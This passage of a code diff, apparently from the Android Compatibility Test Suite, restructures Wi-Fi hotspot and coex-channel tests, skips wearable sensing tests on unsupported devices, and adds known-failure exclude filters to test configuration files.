- // TODO: remove this sleep as soon as b/124330089 is fixed.
- Log.d(TAG, "Sleeping for 2 seconds");
- Thread.sleep(2000);
-
- stopLocalOnlyHotspot(callback, wifiEnabled);
+ stopLocalOnlyHotspot(callback, wifiEnabled);
+ }, false);
}
private static class TestExecutor implements Executor {
@@ -2914,7 +2927,8 @@
return;
}
runWithScanning(() -> {
- UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation();
TestExecutor executor = new TestExecutor();
TestSoftApCallback callback = new TestSoftApCallback(mLock);
try {
@@ -2978,7 +2992,8 @@
return;
}
runWithScanning(() -> {
- UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation();
TestExecutor executor = new TestExecutor();
TestSoftApCallback callback = new TestSoftApCallback(mLock);
try {
@@ -3007,7 +3022,8 @@
.getSupportedChannelList(SoftApConfiguration.BAND_5GHZ)[0]);
SoftApConfiguration testSoftApConfig =
generateSoftApConfigBuilderWithSsid(TEST_SSID_UNQUOTED)
- .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+ .setPassphrase(TEST_PASSPHRASE,
+ SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
.setChannels(dual_channels)
.build();
@@ -3666,29 +3682,32 @@
// check that softap mode is supported by the device
assumeTrue(sWifiManager.isPortableHotspotSupported());
- // Re-enabled Wi-Fi as shell for HalDeviceManager legacy LOHS behavior when there's no
- // STA+AP concurrency.
- ShellIdentityUtils.invokeWithShellPermissions(() -> sWifiManager.setWifiEnabled(false));
- PollingCheck.check("Wifi turn off failed!", 2_000, () -> !sWifiManager.isWifiEnabled());
- SystemUtil.runShellCommand("cmd wifi set-wifi-enabled enabled");
- PollingCheck.check("Wifi turn on failed!", 2_000, () -> sWifiManager.isWifiEnabled());
+ runWithScanning(() -> {
+ // Re-enabled Wi-Fi as shell for HalDeviceManager legacy LOHS behavior when there's no
+ // STA+AP concurrency.
+ ShellIdentityUtils.invokeWithShellPermissions(() -> sWifiManager.setWifiEnabled(false));
+ PollingCheck.check("Wifi turn off failed!", 2_000, () -> !sWifiManager.isWifiEnabled());
+ SystemUtil.runShellCommand("cmd wifi set-wifi-enabled enabled");
+ PollingCheck.check("Wifi turn on failed!", WIFI_OFF_ON_TIMEOUT_MILLIS,
+ () -> sWifiManager.isWifiEnabled());
- boolean isStaApConcurrencySupported = sWifiManager.isStaApConcurrencySupported();
- // start local only hotspot.
- TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
- try {
- if (isStaApConcurrencySupported) {
- assertTrue(sWifiManager.isWifiEnabled());
- } else {
- // no concurrency, wifi should be disabled.
- assertFalse(sWifiManager.isWifiEnabled());
+ boolean isStaApConcurrencySupported = sWifiManager.isStaApConcurrencySupported();
+ // start local only hotspot.
+ TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+ try {
+ if (isStaApConcurrencySupported) {
+ assertTrue(sWifiManager.isWifiEnabled());
+ } else {
+ // no concurrency, wifi should be disabled.
+ assertFalse(sWifiManager.isWifiEnabled());
+ }
+ } finally {
+ // clean up local only hotspot no matter if assertion passed or failed
+ stopLocalOnlyHotspot(callback, true);
}
- } finally {
- // clean up local only hotspot no matter if assertion passed or failed
- stopLocalOnlyHotspot(callback, true);
- }
- assertTrue(sWifiManager.isWifiEnabled());
+ assertTrue(sWifiManager.isWifiEnabled());
+ }, false);
}
/**
@@ -3777,7 +3796,7 @@
boolean newState = !currState;
sWifiManager.setScanAlwaysAvailable(newState);
PollingCheck.check(
- "Wifi settings toggle failed!",
+ "Wifi scanning toggle failed!",
DURATION_SETTINGS_TOGGLE,
() -> sWifiManager.isScanAlwaysAvailable() == newState);
assertEquals(newState, sWifiManager.isScanAlwaysAvailable());
@@ -5168,43 +5187,63 @@
// These below API's only work with privileged permissions (obtained via shell identity
// for test)
UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- List<CoexUnsafeChannel> prevUnsafeChannels = null;
+ List<CoexUnsafeChannel> prevUnsafeChannels = new ArrayList<>();
int prevRestrictions = -1;
try {
uiAutomation.adoptShellPermissionIdentity();
- final TestCoexCallback callback = new TestCoexCallback(mLock);
- final List<CoexUnsafeChannel> testUnsafeChannels = new ArrayList<>();
- testUnsafeChannels.add(new CoexUnsafeChannel(WIFI_BAND_24_GHZ, 6));
- final int testRestrictions = COEX_RESTRICTION_WIFI_DIRECT
- | COEX_RESTRICTION_SOFTAP | COEX_RESTRICTION_WIFI_AWARE;
synchronized (mLock) {
try {
+ boolean defaultAlgoEnabled = false;
+ final TestCoexCallback callback = new TestCoexCallback(mLock);
sWifiManager.registerCoexCallback(mExecutor, callback);
+
// Callback should be called after registering
mLock.wait(TEST_WAIT_DURATION_MS);
assertEquals(1, callback.getOnCoexUnsafeChannelChangedCount());
- // Store the previous coex channels and set new coex channels
+
+ // Store the previous coex channels and try setting new coex channels 5 times.
+ //
+ // If the default algorithm is disabled, we'll get exactly 5 callbacks, and we
+ // can verify that the update channels match what we inputted.
+ //
+ // If the default algorithm is enabled, then the callbacks will trigger
+ // according to the algorithm, which may or may not trigger during the test.
+ // Thus we try 5 times and see if the callbacks match the number of tries, since
+ // it's highly unlikely that the default algorithm will update the channels
+ // exactly 5 times during the test.
prevUnsafeChannels = callback.getCoexUnsafeChannels();
prevRestrictions = callback.getCoexRestrictions();
- sWifiManager.setCoexUnsafeChannels(testUnsafeChannels, testRestrictions);
- mLock.wait(TEST_WAIT_DURATION_MS);
- // Unregister callback and try setting again
- sWifiManager.unregisterCoexCallback(callback);
- sWifiManager.setCoexUnsafeChannels(testUnsafeChannels, testRestrictions);
- // Callback should not be called here since it was unregistered.
- mLock.wait(TEST_WAIT_DURATION_MS);
+ List<CoexUnsafeChannel> testChannels = null;
+ final int testRestrictions = COEX_RESTRICTION_WIFI_DIRECT
+ | COEX_RESTRICTION_SOFTAP | COEX_RESTRICTION_WIFI_AWARE;
+ for (int i = 0; i < 5; i++) {
+ testChannels = List.of(new CoexUnsafeChannel(WIFI_BAND_24_GHZ, 1 + i));
+ sWifiManager.setCoexUnsafeChannels(testChannels, testRestrictions);
+ mLock.wait(TEST_WAIT_DURATION_MS);
+ if (callback.getOnCoexUnsafeChannelChangedCount() != i + 2) {
+ defaultAlgoEnabled = true;
+ break;
+ }
+ }
+
+ if (!defaultAlgoEnabled) {
+ int currentCallbackCount = callback.getOnCoexUnsafeChannelChangedCount();
+ assertEquals(testChannels, callback.getCoexUnsafeChannels());
+ assertEquals(testRestrictions, callback.getCoexRestrictions());
+ // Unregister callback and try setting again
+ sWifiManager.unregisterCoexCallback(callback);
+ sWifiManager.setCoexUnsafeChannels(
+ List.of(new CoexUnsafeChannel(WIFI_BAND_24_GHZ, 11)),
+ testRestrictions);
+ mLock.wait(TEST_WAIT_DURATION_MS);
+ // Callback should not be called here since it was unregistered.
+ assertThat(callback.getOnCoexUnsafeChannelChangedCount())
+ .isEqualTo(currentCallbackCount);
+ }
} catch (InterruptedException e) {
fail("Thread interrupted unexpectedly while waiting on mLock");
}
}
- if (callback.getOnCoexUnsafeChannelChangedCount() == 2) {
- // Default algorithm disabled, setter should set the getter values.
- assertEquals(testUnsafeChannels, callback.getCoexUnsafeChannels());
- assertEquals(testRestrictions, callback.getCoexRestrictions());
- } else if (callback.getOnCoexUnsafeChannelChangedCount() != 1) {
- fail("Coex callback called " + callback.mOnCoexUnsafeChannelChangedCount
- + " times. Expected 0 or 1 calls." );
- }
} finally {
// Reset the previous unsafe channels if we overrode them.
if (prevRestrictions != -1) {
diff --git a/tests/vr/Android.bp b/tests/vr/Android.bp
index c396922..6b145c9 100644
--- a/tests/vr/Android.bp
+++ b/tests/vr/Android.bp
@@ -37,7 +37,7 @@
":CtsVerifierMockVrListenerServiceFiles",
],
sdk_version: "test_current",
- min_sdk_version: "14",
+ min_sdk_version: "19",
// Tag this module as a cts test artifact
test_suites: [
"cts",
diff --git a/tests/wearable/src/android/wearable/cts/CtsWearableSensingServiceDeviceTest.java b/tests/wearable/src/android/wearable/cts/CtsWearableSensingServiceDeviceTest.java
index 24a110e..a67c898 100644
--- a/tests/wearable/src/android/wearable/cts/CtsWearableSensingServiceDeviceTest.java
+++ b/tests/wearable/src/android/wearable/cts/CtsWearableSensingServiceDeviceTest.java
@@ -33,6 +33,7 @@
import android.os.ParcelFileDescriptor;
import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
+import android.text.TextUtils;
import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -70,6 +71,9 @@
private static final int VALUE_TO_SEND = 1000;
private static final String VALUE_TO_WRITE = "wearable_sensing";
+ private final boolean mIsTestable =
+ !TextUtils.isEmpty(getAmbientContextDetectionServiceComponent());
+
@Rule
public final DeviceConfigStateChangerRule mLookAllTheseRules =
new DeviceConfigStateChangerRule(getInstrumentation().getTargetContext(),
@@ -163,6 +167,8 @@
@Test
public void startDetection_wearable_getsCall() {
+ assumeTrue("Feature not available on this device. Skipping test.", mIsTestable);
+
setTestableAmbientContextDetectionService(CTS_SERVICE_NAME);
whenCallbackTriggeredRespondWithServiceStatus(AmbientContextManager.STATUS_SUCCESS);
@@ -185,6 +191,8 @@
@Test
public void stopDetection_wearable_getsCall() {
+ assumeTrue("Feature not available on this device. Skipping test.", mIsTestable);
+
setTestableAmbientContextDetectionService(CTS_SERVICE_NAME);
whenCallbackTriggeredRespondWithServiceStatus(AmbientContextManager.STATUS_SUCCESS);
callStartDetection();
@@ -210,6 +218,8 @@
@Test
public void queryServiceStatus_available() {
+ assumeTrue("Feature not available on this device. Skipping test.", mIsTestable);
+
setTestableAmbientContextDetectionService(CTS_SERVICE_NAME);
whenCallbackTriggeredRespondWithServiceStatus(AmbientContextManager.STATUS_SUCCESS);
@@ -349,4 +359,8 @@
private void clearTestableAmbientContextDetectionService() {
runShellCommand("cmd ambient_context set-temporary-service %d", USER_ID);
}
+
+ private String getAmbientContextDetectionServiceComponent() {
+ return runShellCommand("cmd ambient_context get-bound-package %s", USER_ID);
+ }
}
diff --git a/tools/cts-dynamic-config/Android.bp b/tools/cts-dynamic-config/Android.bp
index 61f9e54..c4cd2bd 100644
--- a/tools/cts-dynamic-config/Android.bp
+++ b/tools/cts-dynamic-config/Android.bp
@@ -34,6 +34,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
java_resources: [
":cts-dynamic-config.dynamic",
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index 7fe2a66..3412c17 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -35,6 +35,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
sdk_version: "test_current",
min_sdk_version: "29",
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index ee57f28..52c1f87 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -315,9 +315,35 @@
<option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testFocusWithTouchCrossProcess" />
<option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testChildWindowFocusable" />
+ <!-- b/305161422 -->
+ <option name="compatibility:exclude-filter" value="CtsAdServicesEndToEndTests com.android.adservices.tests.cts.topics.TopicsManagerTest#testTopicsManager_runOnDeviceClassifier" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesEndToEndTests com.android.adservices.tests.cts.topics.TopicsManagerTest#testTopicsManager_runDefaultClassifier_usingGetMethodToCreateManager" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesEndToEndTests com.android.adservices.tests.cts.topics.TopicsManagerTest#testTopicsManager_runOnDeviceClassifier_usingGetMethodToCreateManager" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesEndToEndTests com.android.adservices.tests.cts.topics.TopicsManagerTest#testTopicsManager_runDefaultClassifier" />
+
+ <!-- b/305161175 -->
+ <option name="compatibility:exclude-filter" value="CtsAdServicesMddTests com.android.adservices.tests.cts.topics.TopicsManagerMddTest#testTopicsManager_downloadModelViaMdd_runPrecomputedClassifier" />
+
<!-- b/294253316 -->
<option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest#testWhenOneCustomToastWindowAndOneSawWindowBelowThreshold_blocksTouch" />
<!-- b/307489638 -->
<option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.satellite.cts.SatelliteManagerTestOnMockService" />
+
+ <!-- b/312075535 -->
+ <option name="compatibility:exclude-filter" value="CtsAdServicesTopicsAppUpdateTests com.android.adservices.tests.cts.topics.appupdate.AppUpdateTest#testAppUpdate" />
+
+ <!-- b/305609163 -->
+ <option name="compatibility:exclude-filter" value="CtsSandboxedTopicsManagerTests com.android.tests.sandbox.topics.SandboxedTopicsManagerTest#loadSdkAndRunTopicsApi" />
+
+ <!-- b/310063797 -->
+ <option name="compatibility:exclude-filter" value="CtsAdServicesPermissionsNoPermEndToEndTests com.android.adservices.tests.permissions.PermissionsNoPermTest#testPermissionNotRequested_fledgeRemoveCustomAudienceRemoteInfoOverride" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesPermissionsNoPermEndToEndTests com.android.adservices.tests.permissions.PermissionsNoPermTest#testPermissionNotRequested_fledgeResetAllAdSelectionConfigRemoteOverrides" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesPermissionsNoPermEndToEndTests com.android.adservices.tests.permissions.PermissionsNoPermTest#testPermissionNotRequested_fledgeRemoveAdSelectionConfigRemoteInfo" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesPermissionsNoPermEndToEndTests com.android.adservices.tests.permissions.PermissionsNoPermTest#testPermissionNotRequested_fledgeOverrideCustomAudienceRemoteInfo" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesPermissionsNoPermEndToEndTests com.android.adservices.tests.permissions.PermissionsNoPermTest#testPermissionNotRequested_fledgeResetAllCustomAudienceOverrides" />
+ <option name="compatibility:exclude-filter" value="CtsAdServicesPermissionsNoPermEndToEndTests com.android.adservices.tests.permissions.PermissionsNoPermTest#testPermissionNotRequested_fledgeOverrideAdSelectionConfigRemoteInfo" />
+
+ <!-- b/301216478 -->
+ <option name="compatibility:exclude-filter" value="CtsSandboxedFledgeManagerTests com.android.tests.sandbox.fledge.SandboxedFledgeManagerTest#loadSdkAndRunFledgeFlow" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 8b0cc08..01073ca 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -122,6 +122,8 @@
<option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecRoutingControlTest" />
<option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecTvOneTouchPlayTest" />
<option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.common.HdmiCecInvalidMessagesTest#cect_IgnoreBroadcastedFromSameSource" />
+ <option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecGeneralProtocolTest#cectIgnoreAdditionalParamsAsMessage" />
+ <option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecGeneralProtocolTest#cect_hf_ignoreAdditionalParams" />
<!-- b/192113622, b/203031609, b/204402327, b/204615046, b/204860049 Remove tests for S "optional" algorithms for GRF devices -->
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecAlgorithmImplTest#testChaCha20Poly1305" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-on-r.xml b/tools/cts-tradefed/res/config/cts-on-gsi-on-r.xml
index 64143b0..a6486dc 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-on-r.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-on-r.xml
@@ -77,4 +77,10 @@
<!-- CtsSecurityHostTestCases: b/256140333 -->
<option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.FileSystemPermissionTest" />
+
+ <!-- CtsMediaV2TestCases: b/298410971 -->
+ <option name="compatibility:exclude-filter" value="CtsMediaV2TestCases android.mediav2.cts.EncoderProfileLevelTest#testValidateProfileLevel" />
+
+ <!-- CtsMediaCodecTestCases: b/298483255 -->
+ <option name="compatibility:exclude-filter" value="CtsMediaCodecTestCases android.media.codec.cts.MediaCodecInstancesTest#testGetMaxSupportedInstances" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-on-s.xml b/tools/cts-tradefed/res/config/cts-on-gsi-on-s.xml
index df3b548..3a11565 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-on-s.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-on-s.xml
@@ -72,4 +72,7 @@
<!-- CtsMediaDecoderTestCases: b/284409693 -->
<option name="compatibility:exclude-filter" value="CtsMediaDecoderTestCases android.media.decoder.cts.VideoDecoderPerfTest" />
+ <!-- CtsMediaV2TestCases: b/298410971 -->
+ <option name="compatibility:exclude-filter" value="CtsMediaV2TestCases android.mediav2.cts.EncoderProfileLevelTest#testValidateProfileLevel" />
+
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-on-t.xml b/tools/cts-tradefed/res/config/cts-on-gsi-on-t.xml
index 65609f8..702609e 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-on-t.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-on-t.xml
@@ -51,4 +51,10 @@
<option name="compatibility:exclude-filter" value="CtsMediaMiscTestCases android.media.misc.cts.ResourceManagerTest#testAVCVideoCodecReclaimHighResolution" />
<option name="compatibility:exclude-filter" value="CtsMediaMiscTestCases android.media.misc.cts.ResourceManagerTest#testHEVCVideoCodecReclaimHighResolution" />
+ <!-- CtsMediaV2TestCases: b/298410971 -->
+ <option name="compatibility:exclude-filter" value="CtsMediaV2TestCases android.mediav2.cts.EncoderProfileLevelTest#testValidateProfileLevel" />
+
+ <!-- CtsVideoCodecTestCases: b/288527955 -->
+ <option name="compatibility:exclude-filter" value="CtsVideoCodecTestCases android.videocodec.cts.VideoEncoderMinMaxTest" />
+
</configuration>